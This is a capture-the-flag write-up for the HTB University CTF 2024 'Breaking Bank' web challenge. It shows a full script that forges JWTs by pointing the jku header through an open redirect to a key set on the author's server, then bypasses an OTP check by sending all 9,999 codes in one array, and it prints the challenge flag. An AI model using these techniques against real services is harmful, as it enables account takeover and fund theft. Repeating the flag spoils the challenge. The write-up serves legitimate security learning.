BreakingBankChallengeWrite-Up(Web)-HTBUniversityCTF2024
Omar Mohamed
Thanks for sharing!
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ

Hello there! Today, I'm going to walk you through solving the Breaking Bank challenge from HTB University CTF 2024.
Before we get started, if you want to try the challenge, you can find it here.
Content
Let's dive in!
Challenge Overview

Initial Recon
First thing I did was check out the website. We got a login and register form:

Made my account and logged in. We have a cryptocurrency platform with Market Overview and a portfolio which my balance is set to zero:


We also got another 2 interesting tabs: friends and Transactions.
Source Code Review
The source code was quite big, so I took it in reverse - how can I get to the flag?
Searched for
flag.txt
in VS code and found this:javascript
import { getBalancesForUser } from "../services/coinService.js";
import fs from "fs/promises";
const FINANCIAL_CONTROLLER_EMAIL = "financial-controller@frontier-board.htb";
/**
* Checks if the financial controller's CLCR wallet is drained
* If drained, returns the flag.
*/
export const checkFinancialControllerDrained = async () => {
const balances = await getBalancesForUser(FINANCIAL_CONTROLLER_EMAIL);
const clcrBalance = balances.find((coin) => coin.symbol === "CLCR");
if (!clcrBalance || clcrBalance.availableBalance <= 0) {
const flag = (await fs.readFile("/flag.txt", "utf-8")).trim();
return { drained: true, flag };
}
return { drained: false };
};
We see that we can get the flag if we drained
CLCR
coin (set it to 0) of the user with this email: financial-controller@frontier-board.htb
So how can we do that?
Remember we have a transaction page, so simply we can transfer all the amount of this coin to another user, and we get it
In
/src/pages/Transaction.tsx
, found this endpoint: /api/crypto/transaction
javascript
const handleTransaction = async () => {
setLoading(true);
try {
const token = localStorage.getItem('jwt');
await axios.post(
'/api/crypto/transaction',
{
to: selectedFriend,
coin: selectedCoin,
amount: parseFloat(amount),
otp: [otp],
},
{ headers: { Authorization: `Bearer ${token}` } }
);
Notice it needs a JWT token? Let's check our token in localStorage:

Passing it to jwt.io, we got:
Header:
json
{
"alg": "RS256",
"typ": "JWT",
"kid": "03b24d15-5265-41e6-98c3-aa1de9fe838f",
"jku": "http://127.0.0.1:1337/.well-known/jwks.json"
}
Body:
json
{
"email": "omar@h4ck.run",
"iat": 1734301782
}
We notice this file:
http://127.0.0.1:1337/.well-known/jwks.json
which gets us this:json
{
"keys": [
{
"kty": "RSA",
"n": "nKlRFvY860GmX834rrOTEe2sUpI....VMXMrXauRenQXCaRVJHw",
"e": "AQAB",
"alg": "RS256",
"use": "sig",
"kid": "03b24d15-5265-41e6-98c3-aa1de9fe838f"
}
]
}
Quick Note: JWKS (JSON Web Key Sets) is a set of keys containing the public keys used to verify any JWT issued by an authorization server. Thejku
(JWK Set URL) header parameter is used to retrieve these keys.
Let's keep it for later and understand the logic first
Verification Function Analysis
(where the good stuff begins)
searching in vscode for
verify
, we got verifyToken
function in /challenge/server/services/jwksService.js
javascript
export const verifyToken = async (token) => {
try {
const decodedHeader = jwt.decode(token, { complete: true });
if (!decodedHeader || !decodedHeader.header) {
throw new Error("Invalid token: Missing header");
}
const { kid, jku } = decodedHeader.header;
if (!jku) {
throw new Error("Invalid token: Missing header jku");
}
// TODO: is this secure enough?
if (!jku.startsWith("http://127.0.0.1:1337/")) {
throw new Error(
"Invalid token: jku claim does not start with http://127.0.0.1:1337/"
);
}
if (!kid) {
throw new Error("Invalid token: Missing header kid");
}
if (kid !== KEY_ID) {
return new Error("Invalid token: kid does not match the expected key ID");
}
let jwks;
try {
const response = await axios.get(jku);
if (response.status !== 200) {
throw new Error(`Failed to fetch JWKS: HTTP ${response.status}`);
}
jwks = response.data;
} catch (error) {
throw new Error(`Error fetching JWKS from jku: ${error.message}`);
}
if (!jwks || !Array.isArray(jwks.keys)) {
throw new Error("Invalid JWKS: Expected keys array");
}
const jwk = jwks.keys.find((key) => key.kid === kid);
if (!jwk) {
throw new Error("Invalid token: kid not found in JWKS");
}
if (jwk.alg !== "RS256") {
throw new Error("Invalid key algorithm: Expected RS256");
}
if (!jwk.n || !jwk.e) {
throw new Error("Invalid JWK: Missing modulus (n) or exponent (e)");
}
const publicKey = jwkToPem(jwk);
const decoded = jwt.verify(token, publicKey, { algorithms: ["RS256"] });
return decoded;
} catch (error) {
console.error(`Token verification failed: ${error.message}`);
throw error;
}
};
The functionis pretty basic but here are some parts which pop up:
here it checks if
jku
header starts with http://127.0.0.1:1337/
js
// TODO: is this secure enough?
if (!jku.startsWith("http://127.0.0.1:1337/")) {
throw new Error(
"Invalid token: jku claim does not start with http://127.0.0.1:1337/"
);
}
The
kid
must match the KEY_ID
on the server, which we can easily get from our own tokenjs
if (kid !== KEY_ID) {
return new Error("Invalid token: kid does not match the expected key ID");
}
Now for the interesting part:
it gets some data from the link in
jku
header, which in our token was: http://127.0.0.1:1337/.well-known/jwks.json
javascript
const response = await axios.get(jku);
if (response.status !== 200) {
throw new Error(`Failed to fetch JWKS: HTTP ${response.status}`);
}
jwks = response.data;
Next, the function retrieves the
jwk
whose kid
matches the server's, then passes it to the jwkToPem
function to convert it into a PEM-formatted public key:javascript
const publicKey = jwkToPem(jwk);
javascript
const jwkToPem = (jwk) => {
if (jwk.kty !== "RSA") {
throw new Error("Invalid JWK: Key type must be 'RSA'");
}
const key = {
kty: jwk.kty,
n: jwk.n.toString("base64url"),
e: jwk.e.toString("base64url"),
};
const pem = crypto.createPublicKey({
key,
format: "jwk",
});
return pem.export({ type: "spki", format: "pem" });
};
The
jwkToPem
function ensures the key is of type RSA
, converts its components (n
and e
) to base64url, and creates a PEM public key using Node's crypto
module.This step is important because we'll use a similar approach to craft our own key later.
now lets's summer up what we have so far:
- Goal: Transfer all
CLCR
fromfinancial-controller@frontier-board.htb
to get the flag. - JWT Validation: The server checks the
jku
URL and fetches a key (jwk
) to verify tokens. - Plan: Host a fake key on a controlled server, make the server fetch from it, and forge a token
First Lets make our hosted fake key
I made the following script, Let's take it bit by bit
javascript
import crypto from "crypto";
import jwt from "jsonwebtoken";
import { v4 as uuidv4 } from "uuid";
// Key generation parameters
const KEY_ID = "3fdd9667-40e2-4633-b1c0-d1a74ea47d8f"; // Unique Key ID for the JWK
// Generate RSA key pair
const { privateKey, publicKey } = crypto.generateKeyPairSync("rsa", {
modulusLength: 2048,
publicKeyEncoding: { type: "spki", format: "pem" },
privateKeyEncoding: { type: "pkcs8", format: "pem" },
});
// Function to generate JWKS (JSON Web Key Set)
const generateJWKS = () => {
const publicKeyObject = crypto.createPublicKey(publicKey);
const publicJwk = publicKeyObject.export({ format: "jwk" });
const jwk = {
kty: "RSA",
...publicJwk,
alg: "RS256",
use: "sig",
kid: KEY_ID,
};
return {
keys: [jwk],
};
};
// Function to generate JWT token
const generateJWT = () => {
const payload = {
email: "financial-controller@frontier-board.htb",
iat: 1734120167,
};
const header = {
alg: "RS256",
typ: "JWT",
kid: KEY_ID,
jku: "YOUR_HOSTED_KEY_URL",
};
const token = jwt.sign(payload, privateKey, {
algorithm: "RS256",
header: header,
});
return token;
};
// Generate JWT and JWKS
const token = generateJWT();
const jwks = generateJWKS();
// Log the results to the console
console.log("JWT Token:", token);
console.log("JWKS:", JSON.stringify(jwks, null, 2));
- Key Generation:
- Generates an RSA key pair (
privateKey
andpublicKey
) for signing and verifying tokens. KEY_ID
is a unique identifier for the key (you get it from your token)
- Generates an RSA key pair (
- JWKS (JSON Web Key Set):
- Converts the
publicKey
to a JWK (JSON Web Key) format. - Adds metadata (
alg
,use
,kid
)
- Converts the
- JWT (JSON Web Token):
- Creates a token with a payload (
email
andiat
). - Custom
header
includes:kid
: Matches the key ID (KEY_ID
) (Make sure to put yours)jku
: URL pointing to the fake JWKS file.
- Signs the token using the private key.
- Creates a token with a payload (
- Output:
- Logs the forged JWT and JWKS to use in the attack.
If you tried this... it will not work, know why?
Remeber the
js
// TODO: is this secure enough?
if (!jku.startsWith("http://127.0.0.1:1337/")) {
throw new Error(
"Invalid token: jku claim does not start with http://127.0.0.1:1337/"
);
}
it has to start with
http://127.0.0.1:1337/
but how can we make it fetch from our server of it has to start with this???
Answer is open redirect
So a little of searching (Also these
// TODO
commenets made it easier to spot the right stuff) we find analytics.js
file with this insidejavascript
fastify.get("/redirect", async (req, reply) => {
const { url, ref } = req.query;
if (!url || !ref) {
return reply.status(400).send({ error: "Missing URL or ref parameter" });
}
// TODO: Should we restrict the URLs we redirect users to?
try {
await trackClick(ref, decodeURIComponent(url));
reply.header("Location", decodeURIComponent(url)).status(302).send();
} catch (error) {
console.error("[Analytics] Error during redirect:", error.message);
reply.status(500).send({ error: "Failed to track analytics data." });
}
});
This is a straight up redirection
so that's how we are gonna make the server fetch our hosted key
You can use ngrok, but I hosted mine on my website:
https://h4ck.run/jwks.json
The final url will look like this:http://127.0.0.1:1337/api/analytics/redirect?url=https://h4ck.run/jwks.json/&ref=dummy
Notice the dummy
ref
is required in order to redirectNote: This script generates its keys dynamically in each run, so make sure to use the right token with its right hosted key
Now since we finally got our token, lets try it out
Getting Access
Now with our forged token, let's check if it worked:

Nice! Our portfolio value isn't zero anymore, which means we got in!
Getting the Flag
Made another account and added it as a friend to transfer the coins to. But when trying to transfer...

Still need to bypass the OTP. Looking at
otpMiddleware.js
:javascript
export const otpMiddleware = () => {
return async (req, reply) => {
const userId = req.user.email;
const { otp } = req.body;
// ...
// TODO: Is this secure enough?
if (!otp.includes(validOtp)) {
reply.status(401).send({ error: "Invalid OTP." });
return;
}
};
};
It's using
includes()
!If you send a dummy otp and see the request in burp, you can see the otp is sent in an array

So simply make and array with all possible otps and you got it
["0001","0002","0003","0004","0005"..."9999"]
The command to generate it:
sh
seq -f "\"%04g\"" 1 9999 | paste -sd "," | sed 's/^/[/' | sed 's/$/]/' > otp.json
To copy it use:
sh
cat otp.json | xclip -selection clipboard
Note: Put it in burp by deleting the existing array and putting yours. Don't put it directly in the input beacuse it will be handled as one string in this array, as you can see the otp was passed as a string


And here is our flag!
Flag:HTB{rugg3d_pu11ed_c0nqu3r3d_d14m0nd_h4nd5_789dfb9e1ce0f5ca7741ba640da6ce29}
Achievement
I'm proud to share that our team ranked in the top 200 in this CTF! Here's the certificate of achievement:

Key Takeaways
This challenge had a bit of everything:
- JWT and JWKS stuff
- Open redirect vulnerability
- OTP bypass using array tricks
Really enjoyed solving this one! Hope you liked the write-up. See you in the next one!
psst.. you can buy me a coffee here 👀. thank you!
Tags: